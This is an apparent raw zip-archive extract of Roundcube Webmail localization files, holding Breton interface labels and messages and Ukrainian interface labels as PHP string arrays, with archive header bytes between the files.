$labels['arialabellistselectmenu'] = 'Lañser roll an diuzad';
$labels['arialabelthreadselectmenu'] = 'Lañser roll an neudennoù';
$labels['arialabelmessagelistoptions'] = 'Skrammañ roll ar c\'hemennadennoù ha dibarzhioù rummañ';
$labels['arialabelmailimportdialog'] = 'Boestad emziviz enporzhiañ ur gemennadenn';
$labels['arialabelmessagenav'] = 'Merdeiñ kemennadennoù';
$labels['arialabelmessagebody'] = 'Korf ar gemennadenn';
$labels['arialabelmessageactions'] = 'Gwerdeoù ar gemennadenn';
$labels['arialabelcontactquicksearch'] = 'Furmskrid klask darempredoù';
$labels['arialabelcontactsearchbox'] = 'Enankad klask darempredoù';
$labels['arialabelmessageheaders'] = 'Talbennoù ar gemennadenn';
$labels['arialabelforwardingoptions'] = 'Dibarzhioù treuzkas';
$labels['arialabelreplyalloptions'] = 'Dibarzhioù respont d\'an holl';
$labels['arialabelmoremessageactions'] = 'Dibarzhioù kemennadenn ouzhpenn';
$labels['arialabelmarkmessagesas'] = 'Merkañ ar c\'hemennadennoù diuzet evel...';
$labels['arialabelcomposeoptions'] = 'Dibarzhioù skrivañ';
$labels['arialabelresponsesmenu'] = 'Lañser respontoù er voest';
$labels['arialabelattachmentuploadform'] = 'Furmskrid pellgas stagadennoù';
$labels['arialabelattachmentpreview'] = 'Alberz ar stagadennoù';
$labels['ariasummarycomposecontacts'] = 'Roll an darempredoù ha strolladoù da ziuzañ evel degemererien';
$labels['arialabelcontactexportoptions'] = 'Dibarzhioù ezporzhiañ darempredoù';
$labels['arialabelabookgroupoptions'] = 'Dibarzhioù karned chomlec\'h/strolladoù';
$labels['arialabelpreferencesform'] = 'Gwellvezioù a-berzh';
$labels['arialabelidentityeditfrom'] = 'Furmskrid embann ar pivelezh';
$labels['arialabelresponseeditfrom'] = 'Furmskrid embann ar respont';
$labels['arialabelsearchterms'] = 'Termennoù enklask';
$labels['helplistnavigation'] = 'Rollañ merdeiñ ar c\'hlavier';
$labels['helplistkeyboardnavigation'] = "Biroù a-us/en-traoñ: Dilec'hiañ linenn stiet/diuzet
Esaouiñ: stiañ al linenn
Pennlizh. + a-us/en-traoñ: diuzañ linennoù ouzhpenn a-us/e traoñ
Reol + esaouiñ: Ouzhpennañ linennoù stiet d'an diuzad/Dilemel eus an diuzad";
$labels['helplistkeyboardnavmessages'] = "Biroù kleiz/dehou: astenn/diskar neudennoù kemennadennoù (e mod neudenn hepken)
Enankañ: Digeriñ ar gemennadenn stiet/diuzet.
Dilemel: Dilec'hiañ ar c'hemennadennoù diuzet d'ar c'hest.";
$labels['helplistkeyboardnavcontacts'] = "Enankañ: Digeriñ an darempred stiet/diuzet.";
PK
h�\��d<d<$program/localization/br/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Degouezhet ez eus bet ur fazi !';
$messages['loginfailed']  = 'Kennaskañ c\'hwitet';
$messages['cookiesdisabled'] = 'Nac\'h a ra ho merdeer an toupinoù';
$messages['sessionerror'] = 'Didalvoudek pe echuet eo hoc\'h estez.';
$messages['storageerror'] = 'C\'hwitadenn war kennaskañ ouzh an dafariad mirout';
$messages['servererror'] = 'Fazi dafariad !';
$messages['servererrormsg'] = 'Fazi dafariad : $msg';
$messages['accountlocked'] = 'Re a glaskoù kennaskañ c\'hwitet. Klaskot en-dro diwezhatoc\'h.';
$messages['connerror'] = 'Fazi kennaskañ (N\'haller ket tizhout an dafariad)!';
$messages['dberror'] = 'Fazi stlennvon!';
$messages['windowopenerror'] = 'Stanket eo bet ar prenestr diflugell!';
$messages['requesttimedout'] = 'Diamzeret he deus an azgoulenn';
$messages['errorreadonly'] = 'N\'haller ket seveniñ ar gwezhiadur. E mod lenn nemetken eo an teuliad.';
$messages['errornoperm'] = 'N\'haller ket seveniñ ar gwezhiadur. Aotre nac\'het.';
$messages['erroroverquota'] = 'N\'haller ket seveniñ ar gwezhiadur. Egor dieub ebet er gantenn.';
$messages['erroroverquotadelete'] = 'Egor dieub ebet er gantenn. Grit Pennlizh.+Dilemel evit dilemel ur gemennadenn.';
$messages['invalidrequest'] = 'Azgoulenn didalvoudek! N\'ez eus bet enrollet roadenn ebet.';
$messages['invalidhost'] = 'Anv dafariad didalvoudek';
$messages['nomessagesfound'] = 'Kemennadenn ebet er voest lizhiri';
$messages['mailboxempty'] = 'Goulo eo ar voest lizhiri';
$messages['nomessages'] = 'Kemennadenn ebet';
$messages['refreshing'] = 'Oc\'h azgrenaat...';
$messages['loading'] = 'O kargañ...';
$messages['uploading'] = 'O pellgas ar restr...';
$messages['attaching'] = 'O stagañ ar restr...';
$messages['uploadingmany'] = 'O pellgas ar restroù...';
$messages['loadingdata'] = 'O kargañ roadennoù...';
$messages['checkingmail'] = 'O wiriañ kemennadoù nevez...';
$messages['sendingmessage'] = 'O kas ar gemennadenn...';
$messages['messagesent'] = 'Kaset eo mat ho kemennadenn';
$messages['savingmessage'] = 'Oc\'h enrollañ ar gemennadenn...';
$messages['messagesaved'] = 'Kemennadenn enrollet er brouilhedoù';
$messages['successfullysaved'] = 'Enrollet gant berzh.';
$messages['savingresponse'] = 'Oc\'h enrollañ testenn ar respont...';
$messages['deleteresponseconfirm'] = 'Fellout a ra deoc\'h dilemel testenn ar respont-mañ?';
$messages['addedsuccessfully'] = 'Darempred ouzhpennet er c\'harned chomlec\'hioù';
$messages['contactexists'] = 'Un darempred gant an hevelep chomlec\'h postel a zo endeo';
$messages['contactnameexists'] = 'Un darempred gant an hevelep anv a zo endeo';
$messages['blockedimages'] = 'Evit gwareziñ ho puhez prevez eo bet stanket skeudennoù a-bell er gemennadenn-se.';
$messages['encryptedmessage'] = 'Enrineget eo ar gemennadenn ha ne c\'hall ket bezañ skrammet. Digarezit!';
$messages['externalmessagedecryption'] = 'Ur gemennadenn enrineget an hini eo ha gallout a ra bezañ ezrineget gant ho askouezh merdeer.';
$messages['nopubkeyfor'] = 'N\'ez eus bet kavet alc\'hwez foran ebet evit $email';
$messages['nopubkeyforsender'] = 'N\'ez eus bet kavet alc\'hwez foran talvoudek ebet evit pivelezh ho kaser. Fellout a ra deoc\'h enrinegañ ar gemennadenn evit an degemererien hepken?';
$messages['encryptnoattachments'] = 'Ar c\'henstagadurioù pellgaset endeo n\'hallont ket bezañ enrineget. Ouzhpennit anezho en-dro en embanner enrinegañ.';
$messages['searchpubkeyservers'] = 'Fellout a ra deoc\'h klask war lec\'h an alc\'hwezioù a vank en dafariadoù alc\'hwezioù foran?';
$messages['encryptpubkeysfound'] = 'N\'eo ket bet kavet an alc\'hwezioù foran da-heul:';
$messages['nocontactsfound'] = 'N\'eo ket bet kavet darempred ebet';
$messages['contactnotfound'] = 'N\'eo ket bet kavet an darempred goulennet';
$messages['sendingfailed'] = 'C\'hwitadenn en ur gas ar gemennadenn';
$messages['senttooquickly'] = 'Gortozit $sec eilenn a-raok kas ar gemennadenn-mañ.';
$messages['errorsavingsent'] = 'Ur fazi a zo c\'hoarvezet en ur enrollañ ar gemennadenn kaset.';
$messages['errorsaving'] = 'Ur fazi a zo c\'hoarvezet en ur enrollañ.';
$messages['errormoving'] = 'N\'haller ket dilec\'hiañ ar g(c\'h)emennadenn(où)';
$messages['errorcopying'] = 'N\'haller ket eilañ ar g(c\'h)emennadenn(où)';
$messages['errordeleting'] = 'N\'haller ket dilemel ar g(c\'h)emennadenn(où)';
$messages['errormarking'] = 'N\'haller ket merkañ ar g(c\'h)emennadenn(où)';
$messages['deletecontactconfirm']  = 'C\'hoant hoc\'h eus da zilemel an darempred(où) diuzet?';
$messages['deletegroupconfirm']  = 'Fellout a ra deoc\'h dilemel ar strollad diuzet?';
$messages['deletemessagesconfirm'] = 'C\'hoant hoc\'h eus da zilemel ar g(c\'h)emennadenn(où) diuzet ?';
$messages['deletefolderconfirm']  = 'C\'hoant hoc\'h eus da skarzhañ an teuliad-se ?';
$messages['purgefolderconfirm']  = 'C\'hoant hoc\'h eus da skarzhañ an holl gemennadennoù eus an teuliad-se ?';
$messages['contactdeleting'] = 'O lemel darempredoù kuit...';
$messages['groupdeleting'] = 'O lemel ar strollad kuit...';
$messages['folderdeleting'] = 'O lemel an teuliad kuit...';
$messages['foldermoving'] = 'O tilec\'hiañ an teuliad...';
$messages['foldersubscribing'] = 'O koumanantiñ an teuliad...';
$messages['folderunsubscribing'] = 'O tigoumanantiñ an teuliad...';
$messages['formincomplete'] = 'N\'eo ket leuniet ar furmskrid penn-da-benn';
$messages['noemailwarning'] = 'Termenit ur postel elektronek mat mar plij ganeoc\'h';
$messages['nonamewarning']  = 'Termenit un anv mar plij ganeoc\'h';
$messages['nopagesizewarning'] = 'Termenit ur ment pajenn mar plij ganeoc\'h';
$messages['nosenderwarning'] = 'Enankit chomlec\'h postel ar c\'haser.';
$messages['norecipientwarning'] = 'Ouzhpennit ur resever da nebeutañ mar plij ganeoc\'h';
$messages['nosubjectwarning']  = 'Dileun eo ar maezienn « Sujed » . C\'hoant hoc\'h eus da leuniañ anezhiñ diouzhtu ?';
$messages['nobodywarning'] = 'Kas ar c\'hemennad hep testenn ?';
$messages['restoresavedcomposedata'] = 'Kavet ez eus bet ur gemennadenn skrivet ha n\'eo ket bet kaset.\n\nDanvez: $subject\nEnrollet: $date\n\nFellout a ra deoc\'h assav ar gemennadenn-mañ?';
$messages['nosearchname'] = 'Skrivit un anv darempred pe ur postel elektronek';
$messages['notuploadedwarning'] = 'N\'eo ket bet pellgaset an holl genstagadennoù c\'hoazh. Gortozit pe nullit ar pellgas.';
$messages['searchsuccessful'] = '$nr kemennad kavet';
$messages['contactsearchsuccessful'] = 'Kavet ez eus bet $nr a zarempredoù.';
$messages['searchnomatch'] = 'Disoc\'h ebet gant ar glask';
$messages['searching'] = 'O klask...';
$messages['checking'] = 'O gwiriañ...';
$messages['stillsearching'] = 'O klask c\'hoazh...';
$messages['nospellerrors'] = 'Fazi ebet kavet';
$messages['folderdeleted'] = 'Renkell skarzhet';
$messages['foldersubscribed'] = 'Koumanantet an teuliad gant berzh.';
$messages['folderunsubscribed'] = 'Digoumanantet an teuliad gant berzh.';
$messages['deletedsuccessfully'] = 'Dilemet mat';
$messages['converting'] = 'O tilemel furmaozañ...';
$messages['messageopenerror'] = 'N\'us ket tu da gargañ ar c\'hemennad adalek ar servijer';
$messages['filelinkerror'] = 'C\'hwitadenn war stagadenn ar restr.';
$messages['fileuploaderror'] = 'Fazi o treuzkas ar restr';
$messages['filesizeerror'] = 'Re vras eo ar restr treuzkaset $size';
$messages['copysuccess'] = 'Eilet $nr a zarempredù gant berzh.';
$messages['movesuccess'] = 'Dilec\'hiet $nr a zarempredoù gant berzh.';
$messages['copyerror'] = 'N\'haller eilañ darempred ebet.';
$messages['moveerror'] = 'N\'haller dilec\'hiañ darempred ebet.';
$messages['sourceisreadonly'] = 'Lenn hepken eo an tarzh chomlec\'h se';
$messages['errorsavingcontact'] = 'Ne c\'haller ket gwarediñ chomlec\'h darempred';
$messages['movingmessage'] = 'O tilec\'hiañ kemennadennoù...';
$messages['copyingmessage'] = 'Oc\'h eilañ kemennadennoù...';
$messages['copyingcontact'] = 'Oc\'h eilañ darempredoù...';
$messages['movingcontact'] = 'O fiñval an darempred(où)';
$messages['deletingmessage'] = 'O tilemel darempredoù...';
$messages['markingmessage'] = 'O verkañ darempredoù...';
$messages['addingmember'] = 'Oc\'h ouzhpennañ darempredoù d\'ar strollad...';
$messages['removingmember'] = 'O tilemel darempredoù eus ar strollad...';
$messages['receiptsent'] = 'Kaset eo bet un testeni degemer gant berzh.';
$messages['errorsendingreceipt'] = 'N\'haller ket kas an testeni degemer.';
$messages['deleteidentityconfirm'] = 'Fellout a ra deoc\'h dilemel ar pivelezh-mañ?';
$messages['nodeletelastidentity'] = 'N\'hallit ket dilemel ar pivelezh-mañ, ho hini diwezhañ eo.';
$messages['forbiddencharacter'] = 'Un arouezenn difennet a zo e anv an teuliad.';
$messages['selectimportfile'] = 'Dibabit ur restr da bellgas.';
$messages['addresswriterror'] = 'Ar c\'harned chomlec\'h diuzet n\'haller ket skrivañ warnañ.';
$messages['contactaddedtogroup'] = 'Ouzhpennet eo bet an darempredoù er strollad gant berzh.';
$messages['contactremovedfromgroup'] = 'Dilamet eo bet an darempredoù eus ar strollad gant berzh.';
$messages['nogroupassignmentschanged'] = 'N\'eo bet kemmet deverkadur strollad ebet.';
$messages['importwait'] = 'Oc\'h enporzhiañ, gortozit...';
$messages['importformaterror'] = 'C\'hwitadenn war an enporzhiañ! N\'eo ket ur restr roadennoù enporzhiañ talvoudek an hini a zo bet pellgaset.';
$messages['importconfirm'] = '<b>Enporzhiet eo bet $inserted a zarempredoù gant berzh</b>';
$messages['importconfirmskipped'] = '<b>Tremenet eo bet $skipped elfennoù a oa outo endeo</b>';
$messages['importmessagesuccess'] = 'Enporzhiet $nr a gemennadennoù gant berzh';
$messages['importmessageerror'] = 'C\'hwitadenn war an enporzhiañ! Ar restr pellgaset n\'eo ket ur restr kemennadenn talvoudek peur restr boest lizhiri';
$messages['opnotpermitted'] = 'N\'eo ket aotreet ar gwezhiadur!';
$messages['nofromaddress'] = 'Mankout a ra ar chomlec\'h postel er pivelezh dibabet.';
$messages['editorwarning'] = 'Kemmañ embanner a c\'hell sevel kudennoù e mentrezhañ an destenn. Fellout a ra deoc\'h kenderc\'hel?';
$messages['httpreceivedencrypterror'] = 'Ur fazi kefluniadur lazhus a zo c\'hoarvezet. Kit e darempred gant ho merour war eeun. <b>N\'haller ket kas ho postel</b> ';
$messages['smtpconnerror'] = 'Fazi SMTP ($code): c\'hwitadenn en ur gennaskañ d\'an dafariad.';
$messages['smtpautherror'] = 'Fazi SMTP ($code): c\'hwitadenn war an naoudi.';
$messages['smtpfromerror'] = 'Fazi SMTP ($code): C\'hwitadenn evit lakaat ar c\'haser "$from" ($msg).';
$messages['smtptoerror'] = 'Fazi SMTP ($code): C\'hwitadenn war ouzhpennadenn an degemerer "$to" ($msg)';
$messages['smtprecipientserror'] = 'Fazi SMTP: N\'haller ket dezrannañ roll an degemererien';
$messages['smtperror'] = 'Fazi SMTP: $msg';
$messages['emailformaterror'] = 'Chomlec\'h postel didalvoudek: $email';
$messages['toomanyrecipients'] = 'Re a zegemererien. Digreskit an niver a zegemererien da $max.';
$messages['maxgroupmembersreached'] = 'An niver a izili er strollad a zo ouzhpenn ar c\'hementad aotreet $max.';
$messages['internalerror'] = 'Ur fazi diabarzh a zo c\'hoarvezet. Klaskit en-dro.';
$messages['contactdelerror'] = 'N\'eus ket bet gellet dilemel an darempred(où)';
$messages['contactdeleted'] = 'Dilamet eo bet an darempred(où) gant berzh.';
$messages['contactrestoreerror'] = 'N\'haller ket assav an darempred(où) dilamet.';
$messages['contactrestored'] = 'Darempred(où) dilamet gant berzh.';
$messages['groupdeleted'] = 'Dilamet eo bet ar strollad gant berzh.';
$messages['grouprenamed'] = 'Adanvet eo bet ar strollad gant berzh.';
$messages['groupcreated'] = 'Krouet eo bet ar strollad gant berzh.';
$messages['savedsearchdeleted'] = 'Dilamet eo bet ar c\'hlask enrollet gant berzh.';
$messages['savedsearchdeleteerror'] = 'N\'haller ket dilemel ar c\'hlask enrollet.';
$messages['savedsearchcreated'] = 'Krouet eo bet ar c\'hlask enrollet gant berzh.';
$messages['savedsearchcreateerror'] = 'N\'haller ket krouiñ ar c\'hlask enrollet.';
$messages['messagedeleted'] = 'Dilamet eo bet ar c\'hemennadennoù gant berzh.';
$messages['messagemoved'] = 'Kemennadennoù dilec\'hiet gant berzh.';
$messages['messagemovedtotrash'] = 'Kemennadennoù dilec\'hiet er c\'hest gant berzh.';
$messages['messagecopied'] = 'Kemennadennoù eilet gant berzh. ';
$messages['messagemarked'] = 'Kemennadennoù merket gant berzh.';
$messages['autocompletechars'] = 'Enankit $min arouezenn d\'an nebeutañ evit ar c\'hlokadur emgefreek';
$messages['autocompletemore'] = 'Elfennoù kenglotus ouzhpenn kavet. Biziatait muioc\'h a arouezennoù.';
$messages['namecannotbeempty'] = 'N\'hall ket an anv bezañ goullo.';
$messages['nametoolong'] = 'Re hir eo an anv.';
$messages['namedotforbidden'] = 'N\'hall ket anv un teuliad kregiñ ur poent.';
$messages['folderupdated'] = 'Teuliad hizivaet gant berzh.';
$messages['foldercreated'] = 'Teuliad krouet gant berzh.';
$messages['invalidimageformat'] = 'N\'eo ket ur mentrezh skeudenn talvoudek.';
$messages['mispellingsfound'] = 'Dinoet ez eus bet fazioù reizhskrivañ er gemennadenn.';
$messages['parentnotwritable'] = 'N\'haller ket krouiñ/dilec\'hiañ an teuliad en teuliad kar dibabet. N\'ho peus ket an aotre haeziñ.';
$messages['messagetoobig'] = 'Re vras eo al lodenn gemennadenn evit he c\'heweriañ.';
$messages['noscriptwarning'] = 'Diwallit: Javascript a zo azgoulennet gant ar gwazerezh posteloù-mañ! Evit e arverañ, gweredekait Javascript e arventennoù ho merdeer.';
$messages['messageissent'] = 'Kaset eo bet ar gemennadenn endeo, met n\'eo ket bet enrollet. Fellout a ra deoc\'h he enrollañ bremañ?';
$messages['errnotfound'] = 'Restr ebet kavet';
$messages['errnotfoundexplain'] = 'N\'eo ket bet kavet al loaz azgoulennet!';
$messages['errfailedrequest'] = 'Azgoulenn c\'hwitet';
$messages['errauthorizationfailed'] = 'Aotre c\'hwitet';
$messages['errunauthorizedexplain'] = 'N\'haller ket gwiriañ hoc\'h aotreet da haeziñ ar gwazerezh-mañ!';
$messages['errrequestcheckfailed'] = 'Gwiriañ an azgoulenn c\'hwitet';
$messages['errcsrfprotectionexplain'] = "Evit ho kwarez eo diogelet an haeziñ d'al loaz-mañ gant CSRF.\nMa welit-se n'hoc'h ket digennasket a-raok kuitaat an arload web.\nUn etrewezhiadur denel a zo azgoulennet evit kenderc'hel.  ";
$messages['errcontactserveradmin'] = 'Kit e darempred gant ardoer ho tafariad.';
$messages['clicktoresumesession'] = 'Klikit aze evit kenderc\'hel gant ho estez kent.';
$messages['errcomposesession'] = 'Fazi e savidigezh an estez';
$messages['errcomposesessionexplain'] = 'N\'eo ket bet kavet an estez azgoulennet';
$messages['clicktocompose'] = 'Klikit aze evit skrivañ ur gemennadenn nevez';
$messages['listempty'] = 'Goullo eo ar roll.';
PK
h�\�qא���%program/localization/uk_UA/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Ласкаво просимо до $product';
$labels['username'] = 'Ім\'я користувача';
$labels['password'] = 'Пароль';
$labels['server'] = 'Сервер';
$labels['login'] = 'Увійти';
$labels['menu'] = 'Меню';
$labels['logout'] = 'Вийти';
$labels['mail'] = 'Пошта';
$labels['settings'] = 'Налаштування';
$labels['addressbook'] = 'Контакти';
$labels['inbox'] = 'Вхідні';
$labels['drafts'] = 'Чернетки';
$labels['sent'] = 'Надіслані';
$labels['trash'] = 'Кошик';
$labels['junk'] = 'Спам';
$labels['show_real_foldernames'] = 'Показувати справжні імені для спеціальних тек';
$labels['subject'] = 'Тема';
$labels['from'] = 'Від кого';
$labels['sender'] = 'Відправник';
$labels['to'] = 'Кому';
$labels['cc'] = 'Копія';
$labels['bcc'] = 'Прихована';
$labels['replyto'] = 'Зворотня адреса';
$labels['followupto'] = 'Відповісти всім';
$labels['date'] = 'Дата';
$labels['size'] = 'Розмір';
$labels['priority'] = 'Пріоритет';
$labels['organization'] = 'Організація';
$labels['readstatus'] = 'Статус прочитання';
$labels['listoptions'] = 'Налаштування списку...';
$labels['mailboxlist'] = 'Теки';
$labels['messagesfromto'] = 'Повідомлення з $from по $to із $count';
$labels['threadsfromto'] = 'Обговорення з $from по $to із $count';
$labels['messagenrof'] = 'Лист $nr із $count';
$labels['fromtoshort'] = '$from – $to з $count';
$labels['copy'] = 'Копіювати';
$labels['move'] = 'Перемістити';
$labels['moveto'] = 'Перемістити до...';
$labels['copyto'] = 'Копіювати до…';
$labels['download'] = 'Завантажити';
$labels['open'] = 'Відкрити';
$labels['showattachment'] = 'Показати';
$labels['showanyway'] = 'Все одно показати';
$labels['filename'] = 'Ім\'я файлу';
$labels['filesize'] = 'Розмір файлу';
$labels['addtoaddressbook'] = 'Додати до контактів';
$labels['sun'] = 'Нд';
$labels['mon'] = 'Пн';
$labels['tue'] = 'Вт';
$labels['wed'] = 'Ср';
$labels['thu'] = 'Чт';
$labels['fri'] = 'Пт';
$labels['sat'] = 'Сб';
$labels['sunday'] = 'Неділя';
$labels['monday'] = 'Понеділок';
$labels['tuesday'] = 'Вівторок';
$labels['wednesday'] = 'Середа';
$labels['thursday'] = 'Четвер';
$labels['friday'] = 'П\'ятниця';
$labels['saturday'] = 'Субота';
$labels['jan'] = 'січ';
$labels['feb'] = 'лют';
$labels['mar'] = 'бер';
$labels['apr'] = 'кві';
$labels['may'] = 'тра';
$labels['jun'] = 'чер';
$labels['jul'] = 'лип';
$labels['aug'] = 'сер';
$labels['sep'] = 'вер';
$labels['oct'] = 'жов';
$labels['nov'] = 'лис';
$labels['dec'] = 'гру';
$labels['longjan'] = 'Січень';
$labels['longfeb'] = 'Лютий';
$labels['longmar'] = 'Березень';
$labels['longapr'] = 'Квітень';
$labels['longmay'] = 'Травень';
$labels['longjun'] = 'Червень';
$labels['longjul'] = 'Липень';
$labels['longaug'] = 'Серпень';
$labels['longsep'] = 'Вересень';
$labels['longoct'] = 'Жовтень';
$labels['longnov'] = 'Листопад';
$labels['longdec'] = 'Грудень';
$labels['today'] = 'Сьогодні';
$labels['refresh'] = 'Оновити';
$labels['checkmail'] = 'Перевірити пошту';
$labels['compose'] = 'Написати листа';
$labels['writenewmessage'] = 'Створити нового листа';
$labels['reply'] = 'Відповісти';
$labels['replytomessage'] = 'Відповісти відправнику';
$labels['replytoallmessage'] = 'Відповісти списку або відправнику та усім отримувачам';
$labels['replyall'] = 'Відповісти усім';
$labels['replylist'] = 'Відповісти списку';
$labels['forward'] = 'Переслати';
$labels['forwardinline'] = 'Переслати у тілі листа';
$labels['forwardattachment'] = 'Переслати як прикріплення';
$labels['forwardmessage'] = 'Переслати повідомлення';
$labels['deletemessage'] = 'У кошик';
$labels['movemessagetotrash'] = 'Перемістити лист у кошик';
$labels['printmessage'] = 'Друкувати';
$labels['previousmessage'] = 'Показати попередній лист';
$labels['firstmessage'] = 'Показати перший лист';
$labels['nextmessage'] = 'Показати наступний лист';
$labels['lastmessage'] = 'Показати останній лист';
$labels['backtolist'] = 'До переліку листів';
$labels['viewsource'] = 'Вихідний текст';
$labels['mark'] = 'Помітити';
$labels['markmessages'] = 'Позначити листи';
$labels['markread'] = 'Позначити як прочитане';
$labels['markunread'] = 'Позначити як непрочитане';
$labels['markflagged'] = 'Додати прапорець';
$labels['markunflagged'] = 'Зняти прапорець';
$labels['moreactions'] = 'Інші дії...';
$labels['markallread'] = 'Позначити усі повідомлення прочитаними';
$labels['folders-cur'] = 'Лише обрані теки';
$labels['folders-sub'] = 'Обрана тека і її вкладені теки';
$labels['folders-all'] = 'Усі теки';
$labels['more'] = 'Ще';
$labels['back'] = 'Назад';
$labels['options'] = 'Параметри';
$labels['first'] = 'Перше';
$labels['last'] = 'Останнє';
$labels['previous'] = 'Попереднє';
$labels['next'] = 'Наступне';
$labels['select'] = 'Вибрати';
$labels['all'] = 'Всі';
$labels['none'] = 'Не сортувати';
$labels['currpage'] = 'Поточна сторінка';
$labels['isread'] = 'Прочитано';
$labels['unread'] = 'Непрочитано';
$labels['flagged'] = 'З прапорцем';
$labels['unflagged'] = 'Без прапорця';
$labels['unanswered'] = 'Без відповіді';
$labels['withattachment'] = 'З вкладенням';
$labels['deleted'] = 'Видалено';
$labels['undeleted'] = 'Не видалено';
$labels['replied'] = 'Із відповіддю';
$labels['forwarded'] = 'Переслано';
$labels['invert'] = 'Інвертувати виділення';
$labels['filter'] = 'Фільтр';
$labels['list'] = 'Списком';
$labels['threads'] = 'Гілки';
$labels['expand-all'] = 'Розкрити всі';
$labels['expand-unread'] = 'Розкрити непрочитані';
$labels['collapse-all'] = 'Згорнути всі';
$labels['threaded'] = 'Гілками';
$labels['autoexpand_threads'] = 'Розкривати гілки';
$labels['do_expand'] = 'усі гілки';
$labels['expand_only_unread'] = 'тільки з непрочитаними листами';
$labels['fromto'] = 'Відправник/Одержувач';
$labels['flag'] = 'Позначка';
$labels['attachment'] = 'Вкладення';
$labels['nonesort'] = 'Не сортувати';
$labels['sentdate'] = 'Дата відправлення';
$labels['arrival'] = 'Дата оримання';
$labels['asc'] = 'за зростанням';
$labels['desc'] = 'за спаданням';
$labels['listcolumns'] = 'Атрибути для відображення';
$labels['listsorting'] = 'Сортувати за атрибутом';
$labels['listorder'] = 'Порядок сортування';
$labels['listmode'] = 'Режим перегляду списку';
$labels['layoutlist'] = 'Списком';
$labels['folderactions'] = 'Операції з текою...';
$labels['compact'] = 'Стиснути';
$labels['empty'] = 'Спорожнити';
$labels['importmessages'] = 'Імпорт повідомлень';
$labels['quota'] = 'Використано';
$labels['unknown'] = 'невідомо';
$labels['unlimited'] = 'без обмеження';
$labels['quotatype'] = 'Тип квоти';
$labels['quotatotal'] = 'Ліміт';
$labels['quotaused'] = 'Використано';
$labels['quotastorage'] = 'Розмір простору';
$labels['quotamessage'] = 'Кількість повідомленьй';
$labels['quicksearch'] = 'Швидкий пошук';
$labels['resetsearch'] = 'Очистити пошук';
$labels['searchmod'] = 'Де шукати';
$labels['msgtext'] = 'В усьому листі';
$labels['body'] = 'Тіло повідомлення';
$labels['type'] = 'Тип';
$labels['namex'] = 'Ім\'я';
$labels['searchscope'] = 'Масштаб';
$labels['currentfolder'] = 'Поточна тека';
$labels['subfolders'] = 'Ця і підтека';
$labels['allfolders'] = 'Усі теки';
$labels['searchinterval-1W'] = 'старіші ніж тиждень';
$labels['searchinterval-1M'] = 'старіші ніж місяць';
$labels['searchinterval-1Y'] = 'старіші ніж рік';
$labels['searchinterval1W'] = 'новіші ніж тиждень';
$labels['searchinterval1M'] = 'новіші ніж місяць';
$labels['searchinterval1Y'] = 'новіші ніж рік';
$labels['openinextwin'] = 'Відкрити в новому вікні';
$labels['emlsave'] = 'Зберегти (.eml)';
$labels['changeformattext'] = 'Відображення в текстовому форматі';
$labels['changeformathtml'] = 'Відображення у форматі HTML';
$labels['editasnew'] = 'Редагувати як новий';
$labels['send'] = 'Відправити';
$labels['sendmessage'] = 'Надіслати зараз';
$labels['savemessage'] = 'Зберегти чернетку';
$labels['addattachment'] = 'Вкласти файл';
$labels['charset'] = 'Кодування';
$labels['editortype'] = 'Редактор';
$labels['returnreceipt'] = 'Запит відповіді';
$labels['dsn'] = 'Повідомлення про доставку';
$labels['mailreplyintro'] = '$date, $sender написав:';
$labels['originalmessage'] = 'Оригінальне повідомлення';
$labels['selectimage'] = 'Обрати зображення';
$labels['addimage'] = 'Додати зображення';
$labels['selectmedia'] = 'Обрати відео';
$labels['addmedia'] = 'Додати відео';
$labels['encrypt'] = 'Шифрувати';
$labels['encryptmessage'] = 'Шифрувати повідомлення';
$labels['encryptmessagemailvelope'] = 'Шифрувати повідомлення з Mailvelope';
$labels['importpubkeys'] = 'Імпортувати публічні ключі';
$labels['encryptedsendialog'] = 'Надсилання шифрованого повідомлення';
$labels['keyid'] = 'ID ключа';
$labels['keylength'] = 'Біти';
$labels['keyexpired'] = 'Закінчився';
$labels['keyrevoked'] = 'Відкликаний';
$labels['insert'] = 'Вставити';
$labels['recipient'] = 'Отримувач';
$labels['editidents'] = 'Змінити дані';
$labels['spellcheck'] = 'Орфографія';
$labels['checkspelling'] = 'Перевірити орфографію';
$labels['resumeediting'] = 'Продовжити редагування';
$labels['revertto'] = 'Відмінити редагування';
$labels['restore'] = 'Відновити';
$labels['restoremessage'] = 'ВІдновити повідомлення?';
$labels['ignore'] = 'Ігнорувати';
$labels['responses'] = 'Відповіді';
$labels['insertresponse'] = 'Вставити відповідь';
$labels['manageresponses'] = 'Керувати відповідями';
$labels['newresponse'] = 'Створити нову відповідь';
$labels['addresponse'] = 'Додати відповідь';
$labels['editresponse'] = 'Редагувати відповідь';
$labels['editresponses'] = 'Редагувати відповіді';
$labels['responsename'] = 'Ім\'я';
$labels['responsetext'] = 'Текст відповіді';
$labels['attach'] = 'Вкласти';
$labels['attachments'] = 'Вкладені файли';
$labels['upload'] = 'Прикріпити';
$labels['uploadprogress'] = '$percent ($current із $total)';
$labels['close'] = 'Закрити';
$labels['messageoptions'] = 'Налаштування листів';
$labels['togglecomposeoptions'] = 'Перемкнути опції написання';
$labels['attachmentrename'] = 'Перейменувати вкладення';
$labels['low'] = 'Низький';
$labels['lowest'] = 'Найнижчий';
$labels['normal'] = 'Нормальний';
$labels['high'] = 'Високий';
$labels['highest'] = 'Найвищий';
$labels['nosubject'] = '(без теми)';
$labels['showimages'] = 'Показувати зображення';
$labels['alwaysshow'] = 'Завжди показувати зображення від $sender';
$labels['isdraft'] = 'Це чернетка.';
$labels['andnmore'] = 'ще $nr...';
$labels['togglemoreheaders'] = 'Завантажити ще заголовки повідомлень';
$labels['togglefullheaders'] = 'Показати оригінальні заголовки повідомлення';
